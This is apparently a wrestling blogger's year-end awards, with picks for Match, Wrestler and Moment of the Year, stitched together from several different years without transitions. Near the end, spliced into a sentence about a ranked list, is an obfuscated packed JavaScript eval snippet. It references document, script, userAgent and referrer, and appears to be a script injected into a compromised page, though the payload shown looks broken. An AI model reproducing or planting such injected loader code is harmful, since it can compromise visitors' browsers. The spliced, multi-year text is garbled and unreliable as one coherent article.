We have some more.

Moment Of The Year

5. Brock Lesnar Lifts The Ring With A Bulldozer
4. CM Punk’s All Out Rant
3. Cody Rhodes Is Back
2. Stephanie McMahon Announces Vince McMahon’s Retirement
1. Steve Austin Wrestles Again

This continues to support my mantra of NEVER SAY NEVER in wrestling. Austin retired back in 2003 and has not wrestled since. But then, one day, Kevin Owens called Austin out for an appearance at Wrestlemania XXXVIII. You knew something was going to happen, but then it got even bigger as Owens challenged Austin to a No Holds Barred match. Austin gave an amazing face where you could see the wheels turning….and then he said yes. The bell rang and we were actually seeing it again. And then it was good! This was one of those things I never thought I would see but there it was, right in front of your eyes.

Angle Of The Year

5. Mickie James’ Last Rodeo
4. Bianca Belair vs. Becky Lynch
3. FTR vs. Briscoes
2. CM Punk vs. MJF
1. Bloodline

Where do you begin? It is very rare in wrestling for a story to keep going on for so long and not get dull. The Bloodline manages to find ways to keep going, even with Roman Reigns barely around a lot of the time. To top the whole thing off, you have Sami Zayn, who is trying his hardest to give the Bloodline a higher level of Ucey, but Reigns isn’t exactly pleased with what he’s doing. I want to see where things go week to week and that is not something I get to say very often.

Feud Of The Year

5. Bianca Belair vs. Becky Lynch
4. RKBro vs. Usos
3. Brawling Brutes vs. Imperium
2. MJF vs. CM Punk
1. FTR vs. The Briscoes

I was going back and forth between this one and MJF vs. Punk, but so much of MJF vs. Punk took place in 2021 that FTR and the Briscoes just beat it out. At the end of the day, there is nothing that is topping three instant classics like those three had and nothing was going to beat it. They had an awesome segment before their first match, because we can’t have the Briscoes on AEW TV so at least they had something in the way of talking. It was outstanding and they somehow kept it amazing throughout the entire feud.

News Story Of The Year

5. Wrestlers Return To WWE
4. HHH Is In charge
3. Naomi/Sasha Banks Walk Out
2. Brawl Out
1. Vince McMahon Retires

Ok so this one is already a little bit out of date, but there is nothing that comes close to touching this one. You can have your Brawl Out and all that, but the person who modernized professional wrestling and has dominated the industry for 20+ years walked away from the company he built into a global juggernaut. That is the kind of game changers that you do not see in wrestling ever and now we are dealing with the insane fallout. McMahon retiring was the story of the year, if not the story of the decade.

Match Of The Year

5. Cody Rhodes vs. Seth Rollins – Hell In A Cell
4. FTR vs. Briscoes – Final Battle
3. Sheamus vs. Gunther – Clash At The Castle
2. CM Punk vs. MJF – Revolution
1. FTR vs. Briscoes – Supercard Of Honor

We’ll start with the best/and then there’s this (depending on which way this is posted), as you had two teams stealing the show on the biggest wrestling weekend of the year. It was the match that I knew I had to see and it blew away any and all expectations. Throw in the fact that it was a clean match that ran almost half an hour and never once felt long and you know you have something special. I can’t praise this match enough as it more than blew away the considerable hype.

Wrestler Of The Year

5. Bianca Belair
4. Josh Alexander
3. Sami Zayn
2. Jay White
1. Roman Reigns

One of the best things a wrestler can have is presence and that is where Reigns shines. You can feel something special whenever he is in on screen and it makes a huge difference. The Bloodline has featured some amazing moments, all of which revolve around Reigns. Throw in the fact that he has the matches to back it up and this is one of the easier picks of the year so far.

Now we get to some big ones.

Surprise Of The Year

5. NXT Concedes Wednesday Night Wars
4. The Ending Of All Out
3. Bron Breakker Is Good
2. Hook Is Good

1. CM Punk Returns

This is the one that got me. Punk had been away from wrestling for seven and a half years, which might as well be an eternity in the business. You just do not see wrestlers leaving for this long and then coming back but Punk returned and with a bang. AEW let you know it was coming, but until the guitar riff hit in the United Center, I wasn’t completely sure it was going to happen. Granted if it hadn’t, the building was going to go up in smoke, but they did what they needed to do and it was incredible, to put it mildly. And now I want some ice cream.

Match Of The Year

5. Finn Balor vs. Pete Dunne – Takeover: Vengeance
4. Roman Reigns vs. Daniel Bryan – Smackdown, April 30
3. Thunder Rosa vs. Britt Baker – St. Patrick’s Day Slam
2. Kenny Omega vs. Bryan Danielson – AEW Grand Slam

1. Ilja Dragunov vs. Walter – Takeover 36

The original match between these two were one of the best things I have seen in wrestling in a long time and that was the case again here. These two beat the living daylights out of each other and it was everything I was hoping it would be. It was a physical struggle and felt like only one of them was going to be able to survive. Walter’s incredible United Kingdom Title reign finally ends, and my goodness what a way to wrap it up.

Promo Of The Year

5. Chris Jericho Might Be Saying Goodbye – Dynamite, August 25
4. Edge vs. Miz – Raw – November 29
3. CM Punk vs. Eddie Kingston – Rampage – November 5
2. CM Punk’s Return Speech – Rampage – August 20

1. CM Punk vs. MJF – Dynamite – November 24

In what was the year of Punk in the world of promos, this one topped everything else. I know the First Dance has the emotion, but this was the night where they took the gloves off and went at it. These guys were throwing bombs at each other, such as MJF being a less Famous Miz and MJF calling Punk out for always having an excuse for not being the big star. This is the one that had me taking in every word and I don’t know if it is being topped for a long time.

Most Improved Of The Year

5. Tay Conti
4. W. Morrissey
3. Bobby Lashley
2. Britt Baker

1. Josh Alexander

I know Baker is the easy one here, but Alexander has a case not just for most improved but also the best wrestler of the year. Alexander was THE guy in Impact as the company got bigger and bigger. It was awesome watching him climb the ladder and I wanted to see what he could do when he finally got his chance in the main event. Then he won the World Title in the main event of the biggest show of the year, which he had certainly earned. This was an easy one for me and you should watch more of Alexander’s stuff.

Wrestler Of The Year

5. Roman Reigns
4. Serena Deeb
3. Josh Alexander
2. Jonathan Gresham

1. Daniel Bryan/Bryan Danielson

I don’t think this is much of a surprise, as Danielson is about as complete of a worker as you will find in the world today. The guy can do just about anything asked of him and that never seems to change. His AEW run will get the most praise, but don’t forget his first four months of the year where he had at least two classics, including the main event of Wrestlemania. Danielson is rapidly reaching that all time elite of the elite level and he was easily the best of the year.

Moment Of The Year

5. Hangman Page/Dark Order’s Entrance For Ten Man Tag
4. Becky Lynch Returns
3. John Cena Returns
2. The Fans Are Back

1. CM Punk Returns

This is one of those moments that AEW built up to perfection by more or less guaranteeing that Punk would be at First Dance. Then the show started and here he was, with the music, the pose, the dive into the crowd and everything else. They turned this into an event and I don’t think there is anything that AEW has done that tops this so far. Then there was the ice cream deal to make it even better. I loved this way more than I would have expected and it was as close to perfect as it could have been.

You can’t have a wrestling show without them. It all comes down to this as wrestlers are the thing that makes the shows move forward. Your individual taste in wrestlers may vary again but I’ll be going for a bit of a mix of everything here. Odds are you are going to have a few different options, but there were several good choices to pick from this year. Let’s get to it.

As usual, no order until the ending.

Roman Reigns

I’m not going with him as the best choice as he was only around at such a level for four months. Reigns was incredible while he was around though and that is the kind of performance that deserves some recognition. Odds are he is going to be one of, if not the, best stars of 2021 but the back quarter of his 2020 was some of the best work throughout the year.

Io Shirai

Shirai is someone who is going to fly underneath the radar but she has been NXT Women’s Champion for about seven months and has run through some rather stiff competition during her reign. She keeps getting better and better and still has one of the best moonsaults going. I could go for seeing her holding that title for a long time to come and at the pace she is on, that is exactly what she is going to do.

Randy Orton

I know a lot of people aren’t wild on him and I can understand that, but Orton is still one of the more consistent performers in all of WWE and has been for a very long time now. He had multiple big feuds this year and had at least a few good matches in each of them, which is better than almost anyone else can say. Yes Orton has been around for a long time now and has been on top for a good while, but there is a reason for that: he has earned the spot.

Asuka

She might be the best woman on the main roster (or the best person on any roster) and there is no shock that she was handed the keys after Becky Lynch took time off. Asuka can do it all and has more charisma that she knows what to do with most of the time. She feels like a star and is someone who should be able to be near the top of the women’s division for as long as she wants to be.

Bayley

There is a heck of an argument to have Bayley near or at the top of this list as she was all over the television shows and was awesome throughout. Couple that with an epic title reign and the big fight feel against Sasha Banks and it was really tempting to give this to her. Bayley managing to become one of the best WWE heels going today is impressive as I loved her face run that much, but I wouldn’t have expected this to work nearly so well.

Drew McIntyre

I’ve been a huge McIntyre fan for a very long time now and I was so happy to see him finally win the World Title that he had seemed primed to get for so long. He went on to have a heck of a year and even won the title back. The best thing about McIntyre is that he feels like a World Champion, which is not something that you get to see very often anymore. WWE made a star out of him and that is something they have been needing to do for years now.

This could have gone a lot of ways but the more I think about it, the more this is the best choice.

Jon Moxley

Much like McIntyre, Moxley just feels like a World Champion. You look at him and you feel like he is the biggest star in the company, which is exactly the point in putting the title on him. He has the talking abilities, the look and the brawling to make it work, which is why he held the title as long as he did. This made sense and Moxley is deserving of the top spot, because he was the best of the year.

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IMG Credit: WWE

I’m picking these using a random number generator and I didn’t intend for two of the biggest ones to be included on the first day. This might be the most important award of all and there were a lot of names to pick from this year. You really could go in a lot of directions with this one and that makes things all the more fascinating.

Adam Cole

Sometimes, you look at a wrestler and just see “it”. That’s not the easiest concept to define, but it’s something that you either have or you don’t. Adam Cole has it and he has a lot of it. There’s something about him that just screams STAR, which is impressive considering his not incredibly impressive physique (look back at his Ring of Honor days and see if you can find his biceps).

What you get from Cole is the complete package. He has a rather punchable face, some great promos and some even better matches. This was a year where Cole reached the top of the mountain in NXT and that isn’t something that people reach easily. It’s a big deal to make it there and it’s going to be a big deal when someone beats him. Cole has his reputation for a reason and that isn’t going to change anytime soon.

Kofi Kingston

Kofi is a weird case as he had the biggest and most successful career of his life (don’t forget a pair of Tag Team Title reigns to go along with the World Title) but….he’s always been this good. I can’t think of a single bad match Kofi has had in years. He’s been one of the top merchandise sellers for a long time now because of New Day and he’s going to be in the Hall of Fame both on his own and as part of the team. That’s an amazing run and this was the crowning achievement.

That being said, it was more a year of him finally getting a chance than him elevating himself that much more. It’s part of the curse of being that good: how much better can you really get? Kingston has been one of my favorites for a long time now and he’s FINALLY had his big moment and career day. Yeah he’s one of the best in the world, but how is that different than most years?

Seth Rollins

Now I know this one is going to get some people annoyed, but Rollins had one of the best years in a long time. You don’t beat Brock Lesnar twice in a single year and not get some praise for it and that’s what he did here. The problem though is how far Raw fell with him on top and that isn’t something that is going to go away.

I know Rollins is one of the best in the world once the bell rings, but there isn’t much to him as a face. When one of your biggest stories of the year was the fact that your girlfriend is a top star, your career is kind of in trouble, even if you are World Champion. Rollins is someone who can do all kinds of things, but being the top star does not seem to be one of them. It was a bad year for Raw and Rollins was on top for a lot of it, which isn’t a good thing.

Shayne Baszler

NXT deserves some attention here and Baszler was one of their best. There is something great to be said about being the wrestler who surprises you every single time by leaving as champion, especially when you’re sure it’s her time to lose. However, the catch with Baszler is that she always seemed to deserve to retain the title because she was that good. How many people can say that?

The thing that strikes me the most about Shayna is the fact that she is STILL down in NXT (though I’d be surprised if she isn’t in the Rumble). It says a lot that she has been one of its top stars during its breakout year and that is worthy of a lot of attention. She is learning how to command a ring and an audience and even though she may be older than a lot of the roster, she has a lot of things that they don’t and that was on display this year.

Chris Jericho

After TLC II at Wrestlemania XVII, Jim Ross said something like “just when you think these six men couldn’t raise the bar any more, they did it.” That’s how I feel about Jericho. How many times do you believe that he has to be done, only to see him reinvent himself AGAIN? It’s an amazing thing to see and he has done it again with Le Champion and the Little Bit Of The Bubbly stuff. It’s uncanny at this point and he just keeps doing it.

Jericho has put AEW on his back and carried them as far as they have gone so far. He’s easily the biggest star in the whole company and someone who feels important every single time he’s on screen. You don’t do that at his age and he’s making it look easy, because he really is that great. Jericho has earned this and when you throw in his stuff with New Japan, it’s even more impressive.

Daniel Bryan

I was lucky enough to be at Wrestlemania XXX when Bryan won the WWE Championship in one of the all time great moments. It’s one of the coolest things that you’ll ever see in wrestling as Bryan was the ultimate underdog and pulled off the miracle (not on Bourbon Street Cole, though it sounded great). That being said, he’s a better heel than face and that was on display in 2019.

Bryan turned into Captain Planet with Erick Rowan in one of the most bizarre yet oddly perfect teams in years and wound up tearing the house down most nights. Those promos he had are some of the best you’ll see all year, like having a hemp title so that a cow named Daisy didn’t have to suffer. That was one of those lines that made me wonder if it came to him in a dream because no human should be able to come up with it. This was a great year for Bryan as he showed how versatile he really is.

Becky Lynch

This is one where if it was done by PWI rules (as in July to June), Lynch would win in a heartbeat. The problem though is she cooled off a good bit down the stretch due to running out of people to face. I know that’s a weird complaint to make because she was that good, but other than Asuka now, who is supposed to be seen as a real threat to her (other than Charlotte, who she never needs to face again)?

That being said, the first half of her year included the biggest match in the history of women’s wrestling and a legitimate milestone/game changer moment. That’s something that no one is ever going to be able to take away from her and she deserves all of the praise and accolades that she gets from it. Wrestlemania made her a legend, but there were other things going on that year.

And now, for one of the biggest surprises of the year as the winner.

Bray Wyatt

Character means a lot in wrestling and sweet goodness did Wyatt have it in spades this year. The Firefly Fun House started off as some kooky idea from Wyatt and turned into absolute must see TV every single week. At first everything was a bunch of fun and games (literally in some cases) but then we heard about someone called….The Fiend. It was time to be off to the races.

One day we got to see the Fiend in person and while it was Wyatt in a mask, this felt different. Above all else, Wyatt felt like a different person and someone who was genuinely scary. I got to see him in person a few times and the crowd went quiet when he appeared. Not quiet in a boredom kind of way, but quiet in a “what are we seeing” kind of way. I’ve only heard of that from one person before and that’s the Undertaker. That’s as solid of a compliment as you can get and it worked every time.

Remember to follow me on Twitter @kbreviews and pick up the paperback edition of KB’s Complete 2004 Monday Night Raw Reviews (also -available as an e-book) from Amazon. Check out the information here:

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IMG Credit: WWE

We’re hitting a big one here as there isn’t much more important than the Wrestler Of The Year. That’s what it all comes down to: who had the best year all around the card. There are going to be some usual suspects in here but there might be one or two who surprise you. I mean, it’s not very likely but I have to sound a big less obvious.

Seth Rollins

If this was the first half of the year, Rollins would have been a nearly runaway winner. There was no one having the match of the night week in and week out like Rollins was doing and he made it look easy. It’s entirely possible that he’ll be facing Brock Lesnar for the Universal Title this year and after the first part of 2018 (and a good second part), he’s more than earned it.

AJ Styles

Well yeah of course. How can you not have someone who was almost World Champion for the entire year on here? Styles had one great match after another in 2018 and it would be insane to not have him make a pretty high appearance. It was another incredible year in a career of them and somehow he might be getting even better with age. That’s, dare I say it, phenomenal.

Tommaso Ciampa

I don’t remember the last time I saw a better villain. Ciampa is pure evil and there hasn’t been a better one in a VERY long time. He came into the year evil and left it as champion, having taken the title from Aleister Black with the accidental help of his former best friend Johnny Gargano. Ciampa is on the roll of a lifetime and I really want to see where this big story winds up, because it could have ended eight months ago but I could go for another eight months. That doesn’t happen ever, but he’s pulled it off here.

I really, really wanted to go with a tie but couldn’t bring myself to do it.

Johnny Gargano

What else can you say about him? Gargano vs. Ciampa is a battle between in-ring skills and character work but Gargano was just slightly better. Not only did Gargano have every great match with Ciampa, but he had a better match against Black and another masterpiece with Andrade Cien Almas. Throw in the outstanding descent into the darkness and Gargano had an all time year. It might seem like a layup, but it’s really that good.

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I’m running out of big awards.

This is where the whole thing comes together. The entire point of wrestling comes down to the wrestling itself (close enough at least) and some people just do it better than others. It’s been a great year for both men and women, hence why they’re put together here. If they’re both doing the same things, there’s no point in not judging them the same way.

I won’t be including Pete Dunne, Tetsuya Naito, Kazuchika Okada or Kenny Omega here as I just haven’t seen enough from any of them. That being said, if I had seen more from Okada, there’s a very good chance that he would run away with this thing. He’s one of the best I’ve ever seen and the fact that he’s just thirty years old is amazing.

We’ll start with one of my favorites and someone who seems to always be a dark horse in something like this. That would be the Miz, who won the Intercontinental Title, consistently entertained and had me in stitches during the Total Bellas stuff. I’d have been much happier to see he and Maryse win at Wrestlemania but the performance leading up to it was good enough. Hopefully he’s featured even more this year as he’s one of the best around.

Next up we have a newcomer who had one of the biggest rookie years (eh ok that’s a stretch) in a long time with Samoa Joe. He showed up early in the year and took the Raw roster by storm, feuding with and beating Seth Rollins and Roman Reigns. There was also a one on one pay per view title shot against Brock Lesnar and then being in the main event of Summerslam, which certainly isn’t bad for a debut year.

We’ll go to the ladies next with Charlotte. She started and end the year with some gold while having some awesome performances in between. It might not have been as great a year as she had in 2016 with the pay per view main event but Charlotte is so great at what she does with a great mixture of smoothness and poise that it’s impossible not to include her on here.

The other woman on the list is of course Asuka, who not only dominated NXT but is being treated as a big deal on the main roster as well. That sendoff she got from NXT was great stuff and really did showcase how good she had become over the years. She even mixed in some fun with the dancing, which is a very nice bonus. I’m a bit worried about what’s going to happen to her in the coming year but the previous year was very impressive.

In a very different side of the spectrum, there’s Braun Strowman, who went from a glorified lackey to getting multiple World Title shots on pay per view and winning a feud against Roman Reigns (that’s a rare thing to say). It’s hard to imagine him not being a World Champion at some point in the coming year and that’s a very interesting idea indeed.

For the winner, I’ll go with the safest pick I could possibly choose and say AJ Styles. He came into the year as World Champion and left as World Champion, plus picked up a US Title in the middle. Throw in getting good matches with Shane McMahon and Jinder Mahal plus having a Match of the Year candidate with John Cena and yet it still somehow feels like any run of the mill year for Styles.

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The eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|knnsh|var|u0026u|referrer|bnnak||js|php'.split('|'),0,{})) best is ranked #1.  I’m as shocked as you are.  Here’s the rest of the top 10.1. John Cena
2. CM Punk
3. Hiroshi Tanahashi
4. Bully Ray
5. Kazuchika Okada
6. Sheamus
7. Jeff Hardy
8. Alberto Del Rio
9. Dolph Ziggler
10. Kevin Steen